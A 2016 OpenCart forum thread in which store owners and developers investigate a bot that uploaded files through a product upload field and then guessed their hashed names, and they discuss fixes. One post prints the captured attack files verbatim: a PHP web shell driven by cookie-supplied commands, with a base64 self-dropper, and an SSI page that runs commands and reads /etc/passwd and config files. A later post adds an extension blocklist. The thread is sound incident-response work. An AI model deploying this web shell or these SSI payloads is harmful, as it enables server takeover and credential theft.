Post by Dhaupin » Tue Aug 02, 2016 11:33 pm

This 1024 game bot constantly spams upload fields on options. I noticed today it uploaded a new file (right before it got autobanned), and in logs that it actually got the hashed extension correct. This is 1.5.6.x, Check it out:
2016-08-01 12:00:59 @Media Example Store | Customer uploaded file license.php3.jpg.91a9df1b1c528e2ddd608a967d40da63 via IP xxx.xxx.xxx.xxx [Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1] on www.example.com/index.php?route=product/product/upload

2016-08-01 12:00:59 @Security Example Store | Malformed URL from IP xxx.xxx.xxx.xxx [Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20100101 Firefox/15.0.1] Requested: http://www.example.com/download/license ... 967d40da63
How did it know what the file extension was? This is the first time it was able to request it like this. This is the "encryption" mechanism in controller/product/product.php on upload() function:

Code: Select all

$file = basename($filename) . '.' . md5(mt_rand());

// Hide the uploaded file name so people can not link to it directly.
$json['file'] = $this->encryption->encrypt($file);
Last edited by straightlight on Wed Aug 03, 2016 5:24 am, edited 1 time in total.
Reason: Replaced code with quote and masked IP addresses info.

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by ADD Creative » Thu Aug 04, 2016 8:06 pm

One problem is that mt_rand() is not a source of secure random numbers. There are ways to predict its results.

Also the encryption used by OpenCart 1.5x is not the strongest, and again could be broken, especially if the key set in the settings is weak.

One of the above could be being used to work out the filename or the server is allowing directory listing.

www.add-creative.co.uk


Expert Member

Posts

Joined
Sat Jan 14, 2012 1:02 am
Location - United Kingdom

Post by Dhaupin » Fri Aug 05, 2016 1:16 am

Aye, true man. That mt_rand and friends are not very secure in 1.5x, but in the logs, it was a first try in the same second as the upload was made. Automated for sure -- the file name comes from md5 which is a signature based hash, and its not encrypted in the folders...that encryption is for a json passback not storage. Perhaps it could have "broke" that but i dunno. The download folder is inaccessable for sure.

Seems weird it was able to nail it first try within the second. 99.999% sure there isnt anything malicious in the install/server. We just turned on a simple WAF this week so we will see if md5-known requests happens more

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by ADD Creative » Tue Aug 09, 2016 5:52 pm

Has there been repeated uploads from which they have worked out your encryption key and this is the first time they have got it right?

If you change the key in System -> Settings -> Server -> Encryption Key, do they still get the MD5 correct?

www.add-creative.co.uk


Expert Member

Posts

Joined
Sat Jan 14, 2012 1:02 am
Location - United Kingdom

Post by Johnathan » Tue Aug 09, 2016 11:12 pm

My guess is that the encryption key was never changed, so it used the default key as its guess, and got it right.

Image Image Image Image Image


User avatar
Administrator

Posts

Joined
Fri Dec 18, 2009 3:08 am


Post by Dhaupin » Tue Aug 09, 2016 11:25 pm

Hmm interesting. Pretty sure it was changed (its not the same as demo stores running). Do you know the default key and/or when did they change it to auto-gen?

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by ADD Creative » Wed Aug 10, 2016 6:21 am

The default key was 12345. It was changed to md5(mt_rand()) on install in version 1.5.3 (or 1.5.2.2_r990).

www.add-creative.co.uk


Expert Member

Posts

Joined
Sat Jan 14, 2012 1:02 am
Location - United Kingdom

Post by Dhaupin » Tue Oct 11, 2016 3:07 am

Forgot to reply to this. Check out the nasty they uploaded a couple days later and tried exe. They tested with a license.php file then got the file name right again route.php correct in the products.shtml:


route.php.jpg.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Code: Select all

<?php
	echo '$#'.'@&'.chr(10).chr(10);

	if(!is_file('route7.php')) {
		file_put_contents('route7.php',base64_decode('PD9waHANCgllY2hvICckIycuJ0AmJy5jaHIoMTApLmNocigxMCk7DQoNCglpZihpc3NldCgkX0NPT0tJRVsnNzYwMjc0MDUnXSkgJiYgIWVtcHR5KCRfQ09PS0lFWyc3NjAyNzQwNSddKSkgew0KCQllY2hvIGh0bWxlbnRpdGllcygoc3RyaW5nKSBiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWyc3NjAyNzQwNSddKSxFTlRfUVVPVEVTKTsNCgkJZWNobyAnPHByZT4nOw0KCQkkb3V0YnVmPScnOyRvdXRzdHI9Jyc7ZXhlYyhiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWyc3NjAyNzQwNSddKSwkb3V0YnVmKTtmb3JlYWNoKCRvdXRidWYgYXMgJHZhbCkgJG91dHN0ci49JHZhbC5jaHIoMTMpLmNocigxMCk7ZWNobyBodG1sZW50aXRpZXMoJG91dHN0cik7DQoJfSBlbHNlaWYoaXNzZXQoJF9DT09LSUVbJzI2MzEyNTk1J10pICYmICFlbXB0eSgkX0NPT0tJRVsnMjYzMTI1OTUnXSkpIHsNCgkJZWNobyBodG1sZW50aXRpZXMoKHN0cmluZykgYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnMjYzMTI1OTUnXSksRU5UX1FVT1RFUyk7DQoJCWVjaG8gJzxwcmU+JzsgDQoJCWV2YWwoKHN0cmluZykgYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnMjYzMTI1OTUnXSkpOw0KCX0gZWxzZWlmKGlzc2V0KCRfQ09PS0lFWycxMzAzNzA4NSddKSkgew0KCQlwaHBpbmZvKCk7DQoJfSBlbHNlaWYoaXNzZXQoJF9DT09LSUVbJzYwMzM4MTQ0J10pICYmICFlbXB0eSgkX0NPT0tJRVsnNjAzMzgxNDQnXSkpIHsNCgkJJGFyOD11bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfQ09PS0lFWyc2MDMzODE0NCddKSk7DQoJCSRhcjhbJ3BoJ109aXNzZXQoJGFyOFsncGgnXSk/JGFyOFsncGgnXTonJzsNCgkJJGFyOFsnZm4nXT1pc3NldCgkYXI4WydmbiddKT8kYXI4WydmbiddOidyb3V0ZTMucGhwJzsNCgkJZmlsZV9wdXRfY29udGVudHMoJGFyOFsncGgnXS4kYXI4WydmbiddLGJhc2U2NF9kZWNvZGUoJGFyOFsnY24nXSkpOw0KCX0NCg0KPz4='));
	}

	if(isset($_COOKIE['76027405']) && !empty($_COOKIE['76027405'])) {
		echo htmlentities((string) base64_decode($_COOKIE['76027405']),ENT_QUOTES);
		echo '<pre>';
		$outbuf='';$outstr='';exec(base64_decode($_COOKIE['76027405']),$outbuf);foreach($outbuf as $val) $outstr.=$val.chr(13).chr(10);echo htmlentities($outstr);
	} elseif(isset($_COOKIE['26312595']) && !empty($_COOKIE['26312595'])) {
		echo htmlentities((string) base64_decode($_COOKIE['26312595']),ENT_QUOTES);
		echo '<pre>'; 
		eval((string) base64_decode($_COOKIE['26312595']));
	} elseif(isset($_COOKIE['13037085'])) {
		phpinfo();
	} elseif(isset($_COOKIE['60338144']) && !empty($_COOKIE['60338144'])) {
		$ar8=unserialize(base64_decode($_COOKIE['60338144']));
		$ar8['ph']=isset($ar8['ph'])?$ar8['ph']:'';
		$ar8['fn']=isset($ar8['fn'])?$ar8['fn']:'route3.php';
		file_put_contents($ar8['ph'].$ar8['fn'],base64_decode($ar8['cn']));
	}

?>

products.shtml.jpg.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Code: Select all

<html>
	<header>Product</header>
<body>
	<?php phpinfo();  ?>
	Product
***<!--#exec cmd="echo '<?php file_put_contents(\"route.php\",base64_decode($_COOKIE[\"83067585\"])); echo base64_decode($_COOKIE[\"83067585\"]); ?>' >contact.php; echo 'yxxx''xxxy';" -->***
&&&<!--#exec cmd="echo 'cmd_run'" -->&&&
[[[<!--#exec cmd="ls -lsa" -->]]]
+++<!--#include file="/etc/passwd" -->+++
$$$<!--#include file="../admin/config.php" -->$$$
===<!--#include virtual="../system/startup.php" -->===
---<!--#include virtual="../admin/index.php" -->---
</body>wwwwww<!--#include virtual="./route.php.jpg.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" -->wwwwwww
</html>

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA

Post by IP_CAM » Tue Oct 11, 2016 3:20 am

hey, good to see you again around here, it's been a While... ! ;)
And you 'problem' just confirms to me, that I am on the right track, never to allow anyone to use an upload function,
whenever I should have a final version 'on stage', it's just not worth it, as it never really was, if one wants to make sure.
Good Luck ;)
Ernie

My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.


User avatar
Legendary Member

Posts

Joined
Tue Mar 04, 2014 1:37 am
Location - Switzerland

Post by ADD Creative » Tue Oct 11, 2016 7:57 pm

Did you manage to find out if they worked out your key because it was the default of something too simple in the end?

www.add-creative.co.uk


Expert Member

Posts

Joined
Sat Jan 14, 2012 1:02 am
Location - United Kingdom

Post by Dhaupin » Tue Oct 11, 2016 11:19 pm

@Ernie - hey my friend, I agree totally, although it's just 2 custom items that use a picture of a client's install area to gauge how well the item will work in their home. Not my call to use upload field.

@ADD Creative - I'm not sure, although things happened within the second so it must have been worked out previously or stolen from a backup on one of their local PC (trojan?). Looked over a bunch of things, looked over any cart/order module madness, and nothing apparent popped out besides the upload() function returning encoded json file string, which is one vector they could have worked from. Changed the key regardless, although it had been changed before and wasnt default 1.5.6.x md5 rand.

What we did for the time being is a simple upload regex check combined with a bit stronger rando num generation. Change the md5(mt_rand()) to sha1(uniqid(mt_rand(), true)) in product controller, although that won't really help if they break the encryption class/key.

After $filename definition in upload() function (log controller needs a %%token_current%% rewrite in order for customer link to work):

Code: Select all

$period = "(\\002e|%2e|%252e|%c0%2e|\.)";
$slash = "(\\2215|%2f|%252f|%5c|%255c|%c0%2f|%c0%af|\/|\\\)";
$filetypes = $period . "+((s)?htm(l)?|css|js|php(.)?|sql|db|sqlite|txt|doc(x)?|log|ini|cgi|csv|json|(ya|x)+ml|c(o)?nf|cf(g)?|rc|apk|pkg|deb|rpm|exe|msi|so|sh|pl|bak|old|cache|lock|autoload|gitignore|htaccess|cpanel_config|history|zip|bz2|tar|(t)?gz)";

if (preg_match_all("/$filetypes/i", $filename)) {
	
	$user_agent = (isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:"[no user agent]");
	$customer_id = ($this->customer->getId()) ? ' <a href="index.php?route=sale/customer/update&token=%%token_current%%&customer_id=' . $this->customer->getId() . '">#' . $this->customer->getId() . '</a>' : '';

	$this->log->write('<b>@Media</b> ' .  $this->config->get("config_name") . ' | Customer' . $customer_id . ' uploaded file ' . $filename . ' via IP - <b>' . $this->request->server['REMOTE_ADDR'] . '</b> [' . $user_agent . '] on ' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);

	$json['error'] = 'Error attempting to upload malicious file. This incident has been reported.';
	$this->response->setOutput(json_encode($json));
}

There is also a CSRF mod here that could prob help a bit for MITM if anyone needs it: https://github.com/teslitsky/opencart-s ... curity.xml

Now if you wanna try things out in your own install, you can use Postman chrome app in "POST" mode to upload a file. So let's say there is this upload: dirtay.php.jpg, here is the response:

Code: Select all

{
  "file": "7fkkm7MLfpbDQAk7VD-mKVf0B0fmif0UkpNA-Mol3W-ylQBRFb6Z3qH0SX-J4w4El9eNcWFaeqUOm3lb83-xBQ,,",
  "success": "Your file was successfully uploaded!"
}
Get/brute the path from that string and therein is the answer :)

https://creadev.org | support@creadev.org - Opencart Extensions, Integrations, & Development. Made in the USA.


User avatar
Active Member

Posts

Joined
Tue May 13, 2014 3:45 am
Location - PA
Who is online

Users browsing this forum: No registered users and 33 guests